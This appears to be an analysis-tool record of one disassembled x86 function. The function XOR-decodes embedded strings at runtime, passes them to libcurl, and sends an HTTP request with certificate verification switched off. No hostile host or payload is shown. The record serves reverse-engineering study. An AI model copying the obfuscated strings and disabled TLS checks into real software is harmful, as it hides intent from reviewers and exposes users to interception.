Function at 0x10016530
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x64
mov eax, dword [0x1005d014]
xor eax, esp
mov dword [esp + 0x60], eax
cmp dword [0x100914b0], 0
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [0x100914b4], 0
mov dword [0x100914b8], 0
mov dword [0x100914bc], 0
mov byte [0x100914c2], 0
jl 0x1001659e
mov eax, dword [0x100914a8]
test eax, eax
je 0x10016594
push eax
call fcn.1003217f
add esp, 4
mov dword [0x100914a8], 0
mov dword [0x100914ac], 0
push 3
call dword [sym.imp.libcurl.dll_curl_global_init]
add esp, 4
call dword [sym.imp.libcurl.dll_curl_easy_init]
mov dword [0x10092098], eax
test eax, eax
je 0x1001681f
mov edi, dword [sym.imp.libcurl.dll_curl_easy_setopt]
push esi
push 0x2712
push eax
call edi
add esp, 0xc
cmp byte [0x10090b2f], 0
jne 0x1001663a
movaps xmm0, xmmword [0x10058f90]
mov eax, 8
movups xmmword [esp + 0x28], xmm0
movaps xmm0, xmmword [0x10058fa0]
paddd xmm0, xmmword [0x10058f90]
movups xmmword [esp + 0x38], xmm0
nop dword [eax]
mov dword [esp + eax*4 + 0x28], eax
inc eax
cmp eax, 0xf
jl 0x10016600
mov ebx, 0xf
lea edx, [esp + 0x28]
xor esi, esi
test ebx, ebx
je 0x10016633
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
inc esi
lea eax, [ecx - 4]
xor byte [ecx + 0x10090b20], al
cmp esi, ebx
jne 0x10016620
mov byte [0x10090b2f], 1
push 0x10090b20
push 0x2722
push dword [0x10092098]
call edi
add esp, 0xc
push 1
push 0x50
push dword [0x10092098]
call edi
add esp, 0xc
push 0x100160c0
push 0x4e2b
push dword [0x10092098]
call edi
add esp, 0xc
push 3
push 0x54
push dword [0x10092098]
call edi
add esp, 0xc
push 0x1e
push 0x4e
push dword [0x10092098]
call edi
add esp, 0xc
push 0x12c
push 0xd
push dword [0x10092098]
call edi
add esp, 0xc
push 1
push 0x2b
push dword [0x10092098]
call edi
add esp, 0xc
push 1
push 0x34
push dword [0x10092098]
call edi
add esp, 0xc
push 0
push 0x40
push dword [0x10092098]
call edi
add esp, 0xc
push 0
push 0x51
push dword [0x10092098]
call edi
add esp, 0xc
push 1
push 0x4a
push dword [0x10092098]
call edi
add esp, 0xc
push 0
push 0x2a
push dword [0x10092098]
call edi
add esp, 0xc
push 0
push 0x29
push dword [0x10092098]
call edi
add esp, 0xc
push 1
push 0x71
push dword [0x10092098]
call edi
movaps xmm0, xmmword [0x10058fb0]
add esp, 0xc
movaps xmm1, xmmword [0x10058f90]
xor ecx, ecx
movups xmmword [esp + 0x10], xmm0
mov byte [esp + 0x20], 0
mov dword [esp + 0x24], 0x10
nop dword [eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [esp + ecx*4 + 0x28], xmm0
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [esp + ecx*4 + 0x38], xmm0
add ecx, 8
cmp ecx, 0x10
jl 0x10016740
lea edx, [esp + 0x28]
xor esi, esi
mov eax, dword [edx]
lea ecx, [esp + 0x10]
add ecx, eax
lea edx, [edx + 4]
add eax, 0xfffffffc
inc esi
xor byte [ecx], al
cmp esi, 0x10
jne 0x10016775
lea eax, [esp + 0x10]
mov byte [esp + 0x20], 1
push eax
push 0x27e3
push dword [0x10092098]
call edi
add esp, 0xc
push dword [0x10092098]
call dword [sym.imp.libcurl.dll_curl_easy_perform]
add esp, 4
test eax, eax
je 0x1001683f
cmp dword [0x100914b0], 0
mov dword [0x100914b4], 0
mov dword [0x100914b8], 0
mov dword [0x100914bc], 0
mov byte [0x100914c2], 0
jl 0x10016810
mov eax, dword [0x100914a8]
test eax, eax
je 0x10016806
push eax
call fcn.1003217f
add esp, 4
mov dword [0x100914a8], 0
mov dword [0x100914ac], 0
push dword [0x10092098]
call dword [sym.imp.libcurl.dll_curl_easy_cleanup]
add esp, 4
mov dword [0x10092098], 0
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.1002bc85
mov esp, ebp
pop ebp
ret 4
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push 0x200002
push dword [0x10092098]
call dword [sym.imp.libcurl.dll_curl_easy_getinfo]
add esp, 0xc
push dword [0x10092098]
call dword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov eax, dword [esp + 0x10]
add esp, 4
mov dword [0x10092098], 0
cmp eax, 0xc8
je 0x100168ab
cmp eax, 0x130
je 0x100168ab
mov ecx, 0x100914a4
call fcn.1000ae50
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.1002bc85
mov esp, ebp
pop ebp
ret 4
cmp dword [0x100914b8], 0
mov ecx, dword [esp + 0x6c]
pop edi
pop esi
setg al
pop ebx
xor ecx, esp
call fcn.1002bc85
mov esp, ebp
pop ebp
ret 4